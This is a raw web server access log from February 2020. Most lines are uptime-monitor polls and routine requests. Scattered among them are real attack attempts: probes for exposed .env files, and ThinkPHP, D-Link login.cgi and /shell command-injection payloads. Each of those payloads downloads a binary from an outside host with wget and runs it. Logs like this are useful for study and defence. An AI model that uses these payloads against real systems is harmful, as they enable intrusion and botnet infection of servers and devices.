185.234.217.177 - - [24/Feb/2020:10:12:24 +0100] "GET /~dev/.env HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [24/Feb/2020:10:12:24 +0100] "GET /dev/.env HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [24/Feb/2020:10:12:24 +0100] "GET /site/.env HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [24/Feb/2020:10:12:25 +0100] "GET /back/.env HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [24/Feb/2020:10:12:25 +0100] "GET /api/.env HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [24/Feb/2020:10:12:25 +0100] "GET /laravel-artisan/.env HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [24/Feb/2020:10:12:25 +0100] "GET /local/.env HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [24/Feb/2020:10:12:25 +0100] "GET /core/.env HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
212.91.246.72 - - [24/Feb/2020:10:12:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:10:13:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:10:14:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
37.156.121.148 - - [24/Feb/2020:10:15:18 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
37.156.121.148 - - [24/Feb/2020:10:15:18 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
37.156.121.148 - - [24/Feb/2020:10:15:18 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [24/Feb/2020:10:15:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:10:16:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:10:17:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:10:18:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:10:19:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:10:20:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.85.91.19 - - [24/Feb/2020:10:21:15 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [24/Feb/2020:10:21:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.152.6.58 - - [24/Feb/2020:10:21:36 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
45.152.6.58 - - [24/Feb/2020:10:21:41 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
45.152.6.58 - - [24/Feb/2020:10:21:45 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
45.152.6.58 - - [24/Feb/2020:10:21:48 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
45.152.6.58 - - [24/Feb/2020:10:22:27 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [24/Feb/2020:10:22:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:10:23:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:10:24:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:10:25:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:10:26:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:10:27:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:10:28:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:10:29:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:10:30:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:10:31:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:10:32:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:10:33:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
85.61.150.168 - - [24/Feb/2020:10:34:11 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
45.152.6.58 - - [24/Feb/2020:10:34:24 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [24/Feb/2020:10:34:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.152.6.58 - - [24/Feb/2020:10:34:52 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
45.152.6.58 - - [24/Feb/2020:10:35:23 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [24/Feb/2020:10:35:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.152.6.58 - - [24/Feb/2020:10:35:57 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [24/Feb/2020:10:36:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
31.209.99.186 - - [24/Feb/2020:10:37:20 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [24/Feb/2020:10:37:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:10:38:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
220.121.0.69 - - [24/Feb/2020:10:38:37 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.121.0.69 - - [24/Feb/2020:10:38:41 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.121.0.69 - - [24/Feb/2020:10:38:47 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.121.0.69 - - [24/Feb/2020:10:38:59 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
95.248.1.170 - - [24/Feb/2020:10:39:21 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
220.121.0.69 - - [24/Feb/2020:10:39:23 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [24/Feb/2020:10:39:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:10:40:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:10:41:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
125.128.241.71 - - [24/Feb/2020:10:42:22 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
125.128.241.71 - - [24/Feb/2020:10:42:26 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [24/Feb/2020:10:42:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
125.128.241.71 - - [24/Feb/2020:10:42:32 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
125.128.241.71 - - [24/Feb/2020:10:42:44 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
125.128.241.71 - - [24/Feb/2020:10:43:08 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [24/Feb/2020:10:43:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:10:44:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.105.27.14 - - [24/Feb/2020:10:44:43 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
183.105.27.14 - - [24/Feb/2020:10:44:47 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
183.105.27.14 - - [24/Feb/2020:10:44:53 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
183.105.27.14 - - [24/Feb/2020:10:45:05 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
183.105.27.14 - - [24/Feb/2020:10:45:29 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [24/Feb/2020:10:45:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:10:46:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:10:47:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:10:48:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:10:49:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:10:50:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:10:51:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:10:52:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:10:53:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:10:54:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:10:55:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:10:56:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:10:57:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:10:58:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:10:59:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:11:00:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
34.222.90.93 - - [24/Feb/2020:11:00:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36"
212.91.246.72 - - [24/Feb/2020:11:01:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:11:02:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:11:03:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:11:04:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:11:05:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:11:06:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:11:07:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:11:08:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.152.6.58 - - [24/Feb/2020:11:08:56 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [24/Feb/2020:11:09:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
114.88.255.162 - - [24/Feb/2020:11:09:45 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [24/Feb/2020:11:10:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.113.16.2 - - [24/Feb/2020:11:11:14 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [24/Feb/2020:11:11:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:11:12:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
34.221.84.205 - - [24/Feb/2020:11:12:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36"
212.91.246.72 - - [24/Feb/2020:11:13:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:11:14:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:11:15:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:11:16:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
165.16.42.3 - - [24/Feb/2020:11:16:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
45.70.176.201 - - [24/Feb/2020:11:17:11 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [24/Feb/2020:11:17:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:11:18:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:11:19:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:11:20:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:11:21:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:11:22:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
49.68.246.198 - - [24/Feb/2020:11:23:14 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
212.91.246.72 - - [24/Feb/2020:11:23:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:11:24:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:11:25:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:11:26:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:11:27:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:11:28:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:11:29:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:11:30:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:11:31:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:11:32:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:11:33:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:11:34:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:11:35:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:11:36:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
148.71.44.68 - - [24/Feb/2020:11:37:24 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O /tmp/.unstablethink; chmod 777 /tmp/.unstablethink; /tmp/.unstablethink ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [24/Feb/2020:11:37:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
34.222.90.93 - - [24/Feb/2020:11:37:58 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36"
113.220.28.15 - - [24/Feb/2020:11:38:12 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://192.168.1.1:8088/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1" 404 310 "-" "Hello, world"
212.91.246.72 - - [24/Feb/2020:11:38:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
128.14.134.170 - - [24/Feb/2020:11:39:03 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
212.91.246.72 - - [24/Feb/2020:11:39:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
59.7.155.141 - - [24/Feb/2020:11:39:45 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
59.7.155.141 - - [24/Feb/2020:11:39:48 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
59.7.155.141 - - [24/Feb/2020:11:39:55 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
59.7.155.141 - - [24/Feb/2020:11:40:07 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [24/Feb/2020:11:40:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
